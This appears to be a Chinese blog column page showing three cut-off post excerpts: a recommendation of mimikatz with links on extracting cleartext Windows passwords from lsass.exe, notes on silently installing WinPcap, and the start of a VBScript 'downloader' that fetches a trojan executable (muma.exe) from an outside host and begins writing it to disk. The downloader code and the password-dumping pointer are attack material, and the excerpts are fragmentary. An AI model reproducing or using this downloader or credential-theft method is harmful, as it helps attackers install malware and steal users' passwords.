asli33的专栏

法国佬写的神器叫 mimikatz 神器下载地址:  http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章。 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwor

下面的内容基本上来自参考网站[1]、[2]、[3]，做个小结免得到时候又要搜索。 由于用了winpcap抓包,必须先安装它，又不想装两次exe因此考虑静默安装——silent install。 1、从官方网站http://www.winpcap.org/archive/下载exe 我选用4.1.1-Winpcap.exe。 2、使用7zip将exe解压，注意选择自动重命名。 3

一、VBS下载者： Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream")